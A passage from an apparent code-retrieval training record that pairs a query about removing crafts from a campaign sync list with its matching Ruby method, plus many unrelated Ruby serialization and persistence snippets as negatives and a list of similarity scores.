@property_hash[:encrypted_arg3].to_s.empty?\n @updated_json[\"encrypted_arg3\"] = @property_hash[:encrypted_arg3]\n @updated_json[\"secured3\"] = \"1\"\n if defined?@updated_json[\"arg3\"]\n \t@updated_json.delete(\"arg3\")\n end\n end\n\n if not @resource[:arg4].nil?\n @updated_json[\"secured4\"] = \"0\"\n @updated_json[\"arg4\"] = @property_hash[:arg4]\n if defined?@updated_json[\"encrypted_arg4\"]\n \t@updated_json.delete(\"encrypted_arg4\")\n end\n elsif not @property_hash[:encrypted_arg4].to_s.empty?\n @updated_json[\"encrypted_arg4\"] = @property_hash[:encrypted_arg4]\n @updated_json[\"secured4\"] = \"1\"\n if defined?@updated_json[\"arg4\"]\n \t@updated_json.delete(\"arg4\")\n end\n end\n\n if not @property_hash[:value].to_s.empty?\n @updated_json[\"value\"] = @property_hash[:value]\n end\n\n if not @property_hash[:label1].nil?\n @updated_json[\"label1\"] = @property_hash[:label1]\n end\n if not @property_hash[:label2].nil?\n @updated_json[\"label2\"] = @property_hash[:label2]\n end\n if not @property_hash[:label3].nil?\n @updated_json[\"label3\"] = @property_hash[:label3]\n end\n if not @property_hash[:label4].nil?\n @updated_json[\"label4\"] = @property_hash[:label4]\n end\n\n\n @updated_json[\"name\"] = @resource[:attribute]\n \n # Flush changes:\n put @updated_json.to_json\n\n if defined? @resource[:reload_opsview]\n if @resource[:reload_opsview].to_s == \"true\"\n Puppet.notice \"Configured to reload opsview\"\n do_reload_opsview\n else\n Puppet.notice \"Configured NOT to reload opsview\"\n end\n end\n\n @property_hash.clear\n @attribute_properties.clear\n\n false\n end",
"def finalize\n if self.attributes.has_key? \"uuid\"\n set_uuid\n end\n end",
"def write_record ids, attributes, options = {}\n remote.write ids, attributes, options[:context]\n end",
"def as_json(*)\n result = attributes.as_json.with_indifferent_access\n result[:'voice_out_trunk.id'] = result.delete(:voice_out_trunk_id) if result.key?(:voice_out_trunk_id)\n result\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_string_value(\"id\", @id)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_additional_data(@additional_data)\n end",
"def data=(new_data)\n @data = nil\n self.data_json = new_data && ActiveSupport::JSON.encode(new_data)\n end",
"def save!(*)\n super.tap do\n attributes.id = @response.body[\"id\"]\n end\n end",
"def as_json(options = nil)\n json = super\n json['id'] = d.to_i\n json\n end",
"def make_fresh_writelist\n @to_write = {}\n @data.keys.each do |namelist|\n @to_write[namelist] = Array.new(@data[namelist].size, '')\n end\n end",
"def serialize\n super(ATTR_NAME_ARY)\n end",
"def serialize\n super(ATTR_NAME_ARY)\n end",
"def serialize\n super(ATTR_NAME_ARY)\n end",
"def serialize\n super(ATTR_NAME_ARY)\n end",
"def serialize\n super(ATTR_NAME_ARY)\n end",
"def toJson()\n json = { 'class' => self.class.to_s }\n json['id'] = @id ;\n json['index'] = @index ;\n json['allow'] = @allow ;\n json['disallow'] = @disallow ;\n json['speed'] = @speed ;\n json['length'] = @length ;\n json['originalId'] = @originalId ;\n\n json['shape'] = genShapeJson() ;\n\n return json ;\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def save_wikibase_entityids(json)\n each_wikibase_entitiyid(json) do |entityid|\n @used_props << entityid[:value][:'numeric-id']\n end\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"chatId\", @chat_id)\n end",
"def write_attributes(processed_api_data_hash)\n processed_api_data_hash.map do |key, value|\n self.send(\"#{key}=\", value)\n end\n end",
"def keep(attribs)\n attribs[:id] = attribs[:network_interface_id]\n super\n end",
"def to_json\n\t\t\tself.instance_variable_hash\n\t\tend",
"def attrs=(hash)\n super(hash.is_a?(Hash) ? hash.to_json.to_s : '{}')\n end",
"def attributes\n serializable = {}\n\n @attrs.each do |key|\n serializable[key.to_s] = nil\n end\n\n serializable\n end",
"def data=(obj, klass = obj.class)\n\t\twrite_local(:klass, klass.to_s)\n\t\twrite_local(:data, obj.to_s)\n\t\t@klass = klass.to_s\n\t\t@data = obj.to_s\n\tend",
"def data=(d)\n old = read_attribute(:data) || Hash.new\n write_attribute(:data, old.merge(d))\n end",
"def unsafe_save(namespace, key, data)\n path = make_path(namespace, key)\n tmp = Tempfile.new('abbey') \n size = tmp.write(MultiJson.encode(data))\n tmp.close\n FileUtils.mv(tmp.path, path)\n settings.logger.info(\"Written #{make_key(namespace, key)} (size: #{size})\")\n tmp.unlink\n end",
"def to_json\n attrs.to_json\nend",
"def save\n if @json_dict.fetch(@id_property, false)\n _change\n else\n _create\n end\n end",
"def output\n result = super()\n \n if @_id_set and @id.nil?\n result[\"id\"] = nil\n end\n\n return result\n end",
"def save\n if (not @queued_for_delete.empty?) and @queued_for_write.empty?\n instance_write(:meta, ActiveSupport::Base64.encode64(Marshal.dump({}))) if instance.respond_to?(:\"#{name}_meta=\")\n end\n original_save\n end",
"def set_item_data(id, data_obj)\n data[id] = data_obj\n end",
"def serialize(_object, data); end",
"def serialize(_object, data); end",
"def to_json_direct\n Hash[attrs.map { |a| [qmap[a], instance_variable_get(\"@#{a}\")] }].to_json\n end",
"def serialize(object, data); end",
"def save!\n $redis.hset RedisContainer, self.full_name, self.to_json\n end",
"def value= (val) ; write_attribute(:value, Marshal.dump(val)) ; end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def save_processed_data\n attachment.update(processed_data: json_parser.final_hash)\n end",
"def _serialize(entity)\n serialized = @mapped_collection.serialize(entity)\n serialized.delete(:id)\n serialized[:_id] = Collection.to_mongodb_id(entity.id) unless entity.id.nil?\n serialized\n end",
"def safe_attributes=(attrs, user = User.current)\n if attrs.is_a?(Hash)\n if attrs['watcher_user_ids'].present?\n groups = Group.active.visible.where(id: attrs['watcher_user_ids'].compact.uniq)\n\n attrs['group_ids'] = groups.map(&:id).map(&:to_s)\n attrs['watcher_user_ids'] -= groups.map(&:id).map(&:to_s)\n\n groups.each do |group|\n group.users.each do |groups_user|\n attrs['watcher_user_ids'] << groups_user.id\n end\n end\n end\n end\n\n super\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def serialize; end",
"def serialize; end",
"def save_hashes_for_write\n \n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"administrativeUnits\", @administrative_units)\n writer.write_collection_of_object_values(\"attributeSets\", @attribute_sets)\n writer.write_collection_of_object_values(\"customSecurityAttributeDefinitions\", @custom_security_attribute_definitions)\n writer.write_collection_of_object_values(\"deletedItems\", @deleted_items)\n writer.write_collection_of_object_values(\"federationConfigurations\", @federation_configurations)\n writer.write_collection_of_object_values(\"onPremisesSynchronization\", @on_premises_synchronization)\n end",
"def json(obj)\n JSON.create_id = nil\n JSON.pretty_generate(obj)\nend",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"draftTimeOff\", @draft_time_off)\n writer.write_object_value(\"sharedTimeOff\", @shared_time_off)\n writer.write_string_value(\"userId\", @user_id)\n end",
"def save\n @save_mixin.json_dict = @json_dict\n @save_mixin._deleted = @_deleted\n @save_mixin.save\n @json_dict = @save_mixin.json_dict\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"deletedTeams\", @deleted_teams)\n writer.write_object_value(\"teamsAppSettings\", @teams_app_settings)\n writer.write_collection_of_object_values(\"workforceIntegrations\", @workforce_integrations)\n end",
"def user_ids=(e) #setter\n write_attribute :user_ids, (e.collect {|f| f.to_i}).to_json\n end",
"def id=(id)\r\n attributes[\"ino:id\"]=id.to_s\r\n end",
"def save\n @create_mixin.json_dict = @json_dict\n @create_mixin._deleted = @_deleted\n @create_mixin.save\n @json_dict = @create_mixin.json_dict\n end",
"def serializable_attributes\n attributes = %w[id name created_at]\n attributes << \"uid\" unless confidential?\n attributes\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"certificateData\", @certificate_data)\n writer.write_string_value(\"developerId\", @developer_id)\n writer.write_string_value(\"keyId\", @key_id)\n writer.write_string_value(\"serviceId\", @service_id)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_string_value(\"id\", @id)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_enum_value(\"targetType\", @target_type)\n writer.write_additional_data(@additional_data)\n end",
"def serialize(writer) \n super\n writer.write_collection_of_primitive_values(\"categories\", @categories)\n writer.write_string_value(\"changeKey\", @change_key)\n writer.write_date_value(\"createdDateTime\", @created_date_time)\n writer.write_date_value(\"lastModifiedDateTime\", @last_modified_date_time)\n end",
"def keep(attribs)\n attribs[:id] = attribs[:subnet_id]\n super\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_object_value(\"endDateTime\", @end_date_time)\n writer.write_collection_of_primitive_values(\"staffIds\", @staff_ids)\n writer.write_object_value(\"startDateTime\", @start_date_time)\n writer.write_additional_data(@additional_data)\n end",
"def save\n $redis.hsetnx RedisContainer, self.full_name, self.to_json\n end",
"def change_id(attrs)\n if attrs.kind_of?(Hash)\n attrs['id'] = attrs['_id'].to_s\n end\n attrs\n end",
"def toJson\n\t\tjson = \" {\\n\"\n\t\tself.instance_variables.each_with_index do |i,index|\n\t\t\tjson += \" \\\"#{i[1..-1]}\\\": \\\"#{self.instance_variable_get(i)}\\\"\"\n\t\t\tif index != self.instance_variables.size - 1\n\t\t\t\tjson += \",\\n\"\n\t\t\telse\n\t\t\t\tjson += \"\\n\"\n\t\t\tend\n\t\tend\n\t\tjson += \" }\"\n\tend",
"def toJson\n\t\tjson = \" {\\n\"\n\t\tself.instance_variables.each_with_index do |i,index|\n\t\t\tjson += \" \\\"#{i[1..-1]}\\\": \\\"#{self.instance_variable_get(i)}\\\"\"\n\t\t\tif index != self.instance_variables.size - 1\n\t\t\t\tjson += \",\\n\"\n\t\t\telse\n\t\t\t\tjson += \"\\n\"\n\t\t\tend\n\t\tend\n\t\tjson += \" }\"\n\tend",
"def to_json\n json_hash = {\n :id => @id,\n :timestamp => @timestamp.to_i,\n :data => @data,\n :data_part => @data_part&.to_json,\n :minimum_size => @minimum_size,\n }\n\n JSON.generate(json_hash)\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def instance_to_json\n \n { id: self.id,\n name: self.name,\n publisher: self.publisher,\n weapons:self.weapons.arrg_to_json\n }\n end",
"def to_json\n JSON.dump _attributes\n end",
"def save \n attributes = []\n \n instance_variables.each do |i| \n attributes << i.to_s.delete(\"@\") \n end \n \n \n query_hash = {} \n \n attributes.each do |a| #each with object \n value = self.send(a)\n query_hash[a] = value \n end \n\n query_hash.each do |key, value|\n DATABASE.execute(\"UPDATE students SET #{key} = ? WHERE id = #{@id}\", value)\n end \n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"owner\", @owner)\n writer.write_collection_of_object_values(\"properties\", @properties)\n writer.write_string_value(\"status\", @status)\n writer.write_collection_of_primitive_values(\"targetTypes\", @target_types)\n end",
"def id\n Digest::SHA256.hexdigest(instance_variable_get(:@original_attributes).to_json)\n end",
"def id\n Digest::SHA256.hexdigest(instance_variable_get(:@original_attributes).to_json)\n end",
"def write_value_using_id_strategy(writer, _key)\n writer.push_value(@object.attributes['_id'], 'id') unless @object.new_record?\n end",
"def as_json(*args)\n {}.update(self)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_object_value(\"newText\", @new_text)\n writer.write_object_value(\"numBytes\", @num_bytes)\n writer.write_object_value(\"oldText\", @old_text)\n writer.write_object_value(\"startNum\", @start_num)\n writer.write_additional_data(@additional_data)\n end",
"def push_uuid(data)\n data[\"id\"].blank? &&\n data[\"uuid\"].present? ?\n data.merge(\"id\" => data[\"uuid\"]) :\n data\n end",
"def write\n row.set_attribute(attr_name, contents)\n end",
"def save_ssdb_attrs\n params = (changes.keys & self.class.ssdb_attr_names).map do |attr|\n [\"#{ssdb_attr_key(attr)}\", changes[attr][1]]\n end\n\n ssdb_attr_pool.with do |conn|\n conn.mset(*params.flatten)\n end if params.length > 0\n end",
"def save!\n # Scrub some fields\n @data[\"installed\"].sort!\n @data[\"installed\"].uniq!\n\n # Save\n @path.open(\"w+\") do |f|\n f.write(JSON.dump(@data))\n end\n end",
"def save\n File.write @name, Oj.dump(as_json)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"createdDateTimeUtc\", @created_date_time_utc)\n writer.write_collection_of_object_values(\"deviceIdentities\", @device_identities)\n writer.write_enum_value(\"status\", @status)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"applicationId\", @application_id)\n writer.write_string_value(\"changeType\", @change_type)\n writer.write_string_value(\"clientState\", @client_state)\n writer.write_string_value(\"creatorId\", @creator_id)\n writer.write_string_value(\"encryptionCertificate\", @encryption_certificate)\n writer.write_string_value(\"encryptionCertificateId\", @encryption_certificate_id)\n writer.write_date_time_value(\"expirationDateTime\", @expiration_date_time)\n writer.write_boolean_value(\"includeResourceData\", @include_resource_data)\n writer.write_string_value(\"latestSupportedTlsVersion\", @latest_supported_tls_version)\n writer.write_string_value(\"lifecycleNotificationUrl\", @lifecycle_notification_url)\n writer.write_string_value(\"notificationQueryOptions\", @notification_query_options)\n writer.write_string_value(\"notificationUrl\", @notification_url)\n writer.write_string_value(\"notificationUrlAppId\", @notification_url_app_id)\n writer.write_string_value(\"resource\", @resource)\n end",
"def initialize id = new_id\n @id = String id\n @dbm = self.class.dbm\n\n @attributes =\n if data = @dbm[@id] then\n if data.empty? then\n {}\n else\n JSON.parse data\n end\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"appUserModelId\", @app_user_model_id)\n end",
"def _serialize_write_data(data, slist)\n bytes = pickle.dumps(data)\n nbytes = len(bytes)\n if not nbytes\n raise Exception(\"write DataObject has no attachment\")\n end\n slist.set_nbytes(nbytes)\n slist.set_bytes(bytes)\n return\nend",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"itemId\", @item_id)\n writer.write_object_value(\"urlMatchInfo\", @url_match_info)\n end",
"def id=( str )\n if str.respond_to?(:match)\n escaped = CGI.escape( str )\n \n # CLEANUP: do a bulk delete request on the old id, now that it has changed\n delete(true) if !new? && escaped != self[:_id]\n \n self[:id] = str\n self[:_id] = escaped \n str \n end \n end"
] |
[
"0.7021902",
"0.621483",
"0.61295146",
"0.6055855",
"0.57228005",
"0.56922966",
"0.5682489",
"0.56765604",
"0.56566215",
"0.5651311",
"0.56464744",
"0.5632236",
"0.56275535",
"0.5609795",
"0.5593224",
"0.55904144",
"0.55251473",
"0.5473964",
"0.546931",
"0.5459242",
"0.5439269",
"0.54320234",
"0.54292893",
"0.53979653",
"0.53979653",
"0.53979653",
"0.53979653",
"0.53979653",
"0.53908503",
"0.5369682",
"0.53669864",
"0.5350935",
"0.53507733",
"0.53425545",
"0.53091544",
"0.530889",
"0.5308469",
"0.5301013",
"0.53003764",
"0.5293596",
"0.5283376",
"0.5277595",
"0.52683157",
"0.5246526",
"0.52231586",
"0.52156687",
"0.52070045",
"0.52070045",
"0.52029794",
"0.5201891",
"0.52002597",
"0.517627",
"0.5175733",
"0.5161573",
"0.5156346",
"0.5152975",
"0.51521367",
"0.51503676",
"0.51503676",
"0.5145568",
"0.51437116",
"0.51367605",
"0.5134957",
"0.51330614",
"0.5132515",
"0.5124029",
"0.51211447",
"0.51083237",
"0.51082057",
"0.51048785",
"0.5099201",
"0.5091379",
"0.50840056",
"0.5083665",
"0.5079589",
"0.5073192",
"0.50718457",
"0.50718457",
"0.50707597",
"0.5068738",
"0.5067111",
"0.50588536",
"0.5057353",
"0.5055914",
"0.5049698",
"0.5049698",
"0.5048448",
"0.50463206",
"0.50450295",
"0.504357",
"0.50430083",
"0.50429034",
"0.50395066",
"0.503827",
"0.50361913",
"0.5035844",
"0.5035619",
"0.50306016",
"0.5022383",
"0.5018909",
"0.5015752"
] |
0.0
|
-1
|
process the craft which have been removed from sync to no longer point back at this craft instance var is set by sync= being called. this method is called by the synchronize method
|
def update_removed_from_list
if @removed_from_sync_list && !@removed_from_sync_list.blank?
rem_craft = Craft.where(:name => self.name, :campaign_id => @removed_from_sync_list)
rem_craft.each do |c|
c.sync = {:with => c.sync[:with].select{|id| ![self.campaign_id, self.sync[:with]].flatten.include?(id) } }
c.save
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def post_sync\n reset_movement\n reset_flags\n end",
"def sync= sync_list\n cur_list = sync \n @removed_from_sync_list = cur_list[:with] - sync_list[:with] if sync_list[:with] && cur_list[:with]\n sync_list[:with] = sync_list[:with].select{|id| id != self.campaign_id } if sync_list[:with]\n super(sync_list.to_json)\n end",
"def update()\r\n\t\tto_remove = []\r\n for i in 0..@units.length-1\r\n @units[i].main()\r\n\t\t\tif @units[i].vie <= 0\r\n\t\t\t\tto_remove << @units[i]\r\n\t\t\t\t@units[i].die()\r\n\t\t\tend\r\n end\r\n\t\t@units -= to_remove\r\n end",
"def process\n process_moves\n reassign_team_sets\n reset_quantitative_data\n #notify\n end",
"def done!\n @meta[Cworked_at] = nil\n put_meta\n\n # remove from both queues\n rcache.lrem(queue.working_cache_key, 0, trx_id)\n rcache.lrem(queue.retries_cache_key, 0, trx_id)\n end",
"def update_fish\n @dead_fish.each do |dead_fish|\n if dead_fish.position.y >= FishDeathbed and rand<=DecomposeChance\n puts \"decomposed!!\"\n @dead_fish.delete(dead_fish)\n @dead_fish.compact!\n elsif dead_fish.position.y <= FishDeathbed\n dead_fish.move\n end\n end\n @fish.each do |fish|\n case fish.status\n when Idle || Turning\n unless check_walls(fish)\n look_for_food(fish)\n look_for_mate(fish) unless (fish.target or fish.sex==Female or fish.virility<200)\n end\n when Avoiding\n when Pursuing\n case fish.target\n when FishFood\n look_for_food(fish)\n when SalmonObject\n look_for_mate(fish)\n when Shark\n end\n when Dead\n @fish.delete(fish) \n @fish.compact!\n @dead_fish << fish\n return\n end\n fish.move\n end\n end",
"def remove c\n if components.summands.any? {|list| list.delete(c)}\n raise unless c.world == self\n c.__set__world(nil)\n else\n raise \"Tried to remove #{c} from #{self}, but its world is #{c.world}.\"\n end\n end",
"def verify_craft files = nil, args = {:discover_deleted => false}\n files = self.instance.identify_craft_in(self.name) if files.nil?\n\n present_craft = {:sph => [], :vab => []} \n existing_craft = Craft.where(:campaign_id => self.id).to_a\n\n #this rats nest of chained loops is not really that horrible!\n #it takes the array of craft from the above select and groups them by craft_type. Then for each group it makes an hash of {craft_name => craft}. \n #So it results in a hash of; craft_type => hash of {craft_name => craft}\n existing_craft_map = existing_craft.group_by{|c| c.craft_type}.map{|k,v| {k => v.map{|cc| {cc.name => cc}}.inject{|i,j|i.merge(j)} } }.inject{|i,j|i.merge(j)}\n\n #create a new Craft object for each craft file found, unless a craft object for that craft already exists.\n files.each do |type, craft_files| #files is grouped by craft_type\n craft_files.each do |craft_name| \n name = craft_name.sub(\".craft\",\"\") #get the name of the craft \n #and determine if a craft by that name already exists in that craft_type.\n match = existing_craft_map[type.to_s][name] if existing_craft_map && !existing_craft_map[type.to_s].nil?\n if match.nil?\n craft = self.craft.create(:name => name, :craft_type => type) #if the match is nil, create a Craft object\n self.persistence_checksum = nil #set checksum to nil so next pass of System.process will process this campaign.\n elsif match.deleted?\n match.update_attributes(:deleted => false, :history_count => nil) #if the craft object was marked as deleted, but the file was restored, then un-mark the DB object.\n self.persistence_checksum = nil #set checksum to nil so next pass of System.process will process this campaign.\n end\n present_craft[type] << name #add name to list which is used later to indicate which crafts to NOT mark as deleted \n end\n end\n self.save if self.changed?\n \n #Discover deleted - any craft for which no file exists, but which at one point was in the repo\n if args[:discover_deleted] \n ddc = [] #track to ensure each deleted craft is only processed once (in cases where a craft has been deleted multiple times)\n self.discover_deleted_craft(existing_craft_map).each do |del_inf|\n del_inf[:deleted].each do |craft_data|\n next if ddc.include? [craft_data[:craft_type], craft_data[:name]] #skip if a craft of this craft_type and name has already been processed\n ddc << [craft_data[:craft_type], craft_data[:name]] #otherwise add entry to store \n #and create a craft object for the deleted craft.\n self.craft.create!(:name => craft_data[:name].sub(\".craft\",\"\"), :craft_type => craft_data[:craft_type].downcase, :deleted => true, :last_commit => del_inf[:sha])\n end\n end\n end\n\n #remove craft from the repo if the file no longer exists and mark the craft as deleted\n existing_craft.select{|c| !c.deleted?}.each do |craft|\n next if present_craft[craft.craft_type.to_sym] && present_craft[craft.craft_type.to_sym].include?(craft.name)\n craft.deleted = true #actions in .commit will save this attribute\n craft.commit\n end\n end",
"def prepare_update\n # All elder broadcasts are trash...\n tmp = @broadcasts; \n @broadcasts = []\n @to_destroy = tmp.reject {|bc| bc.dirty?}\n\n # Get rid of unsolved, conflicts with unactivated broadcasts\n @conflicts = @conflicts.reject{|c| c.active_broadcast.nil?}\n\n # Clean all unactivated broadcasts from remaining conflicts\n @conflicts.each {|c| c.new_broadcasts = [] }\n\n # unless somebody used them\n tmp.select { |bc| bc.dirty? }.each do |bc|\n self.add_conflict( :conflict => find_or_create_conflict_by_active_broadcast(bc) )\n end\n end",
"def check_before_remove(transport)\n \t# pokud je transport uzavřen vyvolam vyjímku\n \tif not transport.efectiveUnLoadTime.nil?\n \t\traise \"Transport is finished - you can not remove item\" \n \telse\n \t\t#Pokud jde o posledni transport daneho itemu vynuluju jeho Place_id\n \t\tif self.transports.size == 1 then\n \t\t\tself.place_id = nil\n \t\t\tself.placeSince = nil\n \t\t\tself.save\n\t\t\tend\t\n \tend\t\n end",
"def unload_extra\n log \"Unloading extra baggage\" , Logger::Ultimate\n @mutex.synchronize do\n @ghash.delete_if do |goid, obj|\n if obj.busy?\n log \"#{obj} busy\" , Logger::Ultimate\n false\n elsif obj.is_a? Player or obj.is_a? Mobile\n false\n elsif obj.container.nil? or not self.loaded? obj.container\n puts \"Checking #{obj}\" , Logger::Ultimate\n if obj.can? :inventory\n if obj.inventory.has_any? Player or obj.inventory.has_any? Mobile\n log \"It contains a player or mobile:\" , Logger::Ultimate\n log obj.inventory.find_all('class', Player) , Logger::Ultimate\n log obj.inventory.find_all('class', Mobile) , Logger::Ultimate\n false\n else\n @storage.store_object(obj)\n true\n end\n else\n log \"Saving #{obj}\" , Logger::Ultimate\n @storage.store_object(obj)\n log \"Dropping #{obj}\\nContainer is #{obj.container}\\nNo Inventory\" , Logger::Ultimate\n log \"Saving #{obj}\" , Logger::Ultimate\n true\n end\n else\n puts \"#{obj} isn't a player or a mobile or busy and it has a container\" , Logger::Ultimate\n false\n end\n end\n end\n log \"Baggage unloaded\", Logger::Ultimate\n end",
"def _after_update\n # SEQUEL5: Remove\n @this = nil\n end",
"def destroy\n @crafted_item = CraftedItem.cached_crafted_item(params[:id])\n CraftedItem.clear_cached_crafted_item(params[:id])\n CraftedItem.clear_all_cached_crafted_item\n CraftedItem.clear_cached_source_description_for_crafted_item(params[:id])\n CraftedItem.clear_cached_crafted_item_by_component_item_id(@crafted_item.crafted_item_generated_id)\n CraftedItem.clear_cached_crafted_item_count(@crafted_item.crafted_item_generated_id)\n @crafted_item.destroy\n \n respond_to do |format|\n format.html { redirect_to(crafted_items_url) }\n format.xml { head :ok }\n end\n end",
"def clean\n\t\t\twas_updated = updated?\n\t\t\tunsubscribe\n\t\t\t@registered = false\n\n\t\t\tBridge.notify_bridge_callbacks self, false if was_updated\n\n\t\t\t@verified = false\n\t\t\t@config = nil\n\t\t\t@lights.clear\n\t\t\t@groups.clear\n\t\t\t@update_callbacks.clear\n\t\tend",
"def clean\n # dispose all damage sprites\n @damages.each {|sprite| sprite.dispose if sprite.is_a?(Sprite)}\n # dispose all beam sprites\n @beams.each {|ary| ary[0].dispose}\n # create new damage sprite buffer and new projectile buffer\n @damages, @remotes, @beams = [], [], []\n # unfreeze all actor's actions\n $BlizzABS.battlers.each {|actor| actor.freeze_action = false}\n # clear observation and path request data\n $BlizzABS.AI = BlizzABS::AI.new\n end",
"def process_channels(channels, col_name, sync_col)\n completed = false\n \n while !completed\n completed = true\n \n channels.each do |f, channel|\n \n if !channel.active?\n local_path = local_file_path(f, col_name)\n \n # Mark the file as synced\n f[sync_col] = true\n f.save\n \n # Delete from the current web server because the file\n # will now be referenced from the asset server.\n FileUtils.rm_r local_path, :force => true\n \n # Remove the channel from the hash\n channels.delete(channel)\n \n else\n completed = false\n end\n \n end # channels.each \n sleep(5) if !completed \n end\n \n end",
"def do_delete\n moved = []\n # evacuate the room.\n\n if !@stuff.empty? \n moved = @stuff.dup\n moved.each do |person|\n if person.is_a?(Player)\n # send them to a safe vnum...we're going to use vnum 1\n person.go_anywhere\n end\n end\n end\n \n\n 4.times do |i|\n ex = self.exit_list[i]\n next if ex == nil\n\n log :debug, \"ex #{ex.direction} deleted\"\n\n if ex.towards_room.gri.exit_list[ex.direction.exit_code_rev] \n if ex.towards_room.gri.exit_list[ex.direction.exit_code_rev].towards_room.gri == self # if it's the same room as being deleted we delete \n ex.towards_room.gri.exit_list[ex.direction.exit_code_rev].do_delete\n end\n end\n ex.do_delete\n end\n\n moved.each do |p|\n p.execute_command(\"look\")\n end\n Tag.clear_tag(self)\n @vtag = nil\n a = @vnum / 1000\n Vnum.rooms[@vnum % 1000] = nil # unlinked from main list.\n end",
"def bookkeeping_before_betting()\n @dealer.reset() ## very important to reset dealer\n @players.delete_if{|player| player.amount <= 0} ## remove broke players\n if @players.size == 0\n puts \"**********WE NEED MORE PLAYERS**************\"\n exit() # exit if no more players left\n end\n @players.each do | player|\n player.reset() ## reset remaining players\n end # end reset\n end",
"def return_part2(battler)\n $game_system.bgm_play($game_temp.bgm_memorize)\n hide_all = (Summon_Skill[battler.summoned_id] != nil and Summon_Skill[battler.summoned_id][0][4])\n for actor in battler.summoned_actors\n actor.summon_turn = 0\n actor.summoned_turn = 0\n actor.summoned_id = 0\n $game_party.summoned.delete(actor)\n $game_party.remove_actor(actor.id)\n end\n for actor in battler.removed_actors\n $game_party.add_summon_actor_by_index(actor[0].id, actor[1])\n end\n @spriteset.update\n if $atoa_script['Atoa ATB']\n reset_bars\n elsif $atoa_script['Atoa CTB']\n update_all_ctb\n @ctb_window.refresh \n end\n $game_temp.summon_active = !$game_party.summoned.empty?\n battler.summoned_actors.clear\n battler.removed_actors.clear\n for actor in $game_party.actors\n $game_party.removed_actors.delete(actor)\n unless actor.dead? and not check_include(actor, 'NOCOLLAPSE')\n actor.invisible = false\n end\n end\n for actor in $game_party.actors\n actor.pose_id = 0\n end\n reset_actors_position(hide_all)\n @status_window.refresh\n end_summoning(battler)\n @action_battlers.delete(battler)\n @active_battlers.delete(battler)\n update_summoned_party\n battler.wait_time = 8\n end",
"def clean_up\n @minefield = nil\n end",
"def finish_sync(sync)\n sync.finish!\n end",
"def cleanup_phase\n ::Ractor.current.close_incoming\n maybe_log(\"Checking message queue for cleanup\")\n loop do\n message = ::Ractor.receive\n refuse_method(message) if message.is_a?(Message) && message.type == :call\n end\n maybe_log(\"Checking current calls for cleanup\")\n @current_calls.each_value do |request|\n refuse_method(request)\n end\n rescue ::Ractor::ClosedError\n maybe_log(\"Message queue is empty\")\n end",
"def pre_sync\n #move\n end",
"def destroy_building (action_array)\n\n exist = false\n #card = Card.districts.where(\"name <> 'keep' AND cards.id = ? AND state = 'ONGAME'\", action_array[1]).first\n card = Card.districts.find(:first, :conditions => [\"name <> 'keep' AND cards.id = ? AND state = 'ONGAME'\", action_array[1]])\n\n current_coins = self.coins\n\n if (card && card.party_id == self.party_id)\n card_owner = card.player.user.name\n if (card.player.player_character.base_card.name != 'bishop')\n current_coins -= card.base_card.cost - 1 +(1 * (card.player.districts_on_game.exists?([\"name = 'great_wall'\"])? 1:0 ))\n if current_coins >= 0\n position = Array.new(1,party.last_position )\n #Si la carta destruir es el museo debemos actualizar las carta que estaban bajo el\n if card.base_card.name == 'museum'\n update_museum(card, position)\n end\n Card.update(card.id,:state => 'INDECK', :position => position[0], :player_id => nil, :round_update => party.current_round, :wasdestroyed => true, :ability_activated => false)\n update_attribute(:coins, current_coins)\n exist = true\n\n if card.base_card.colour == 'purple'\n target_district = 'districts.' 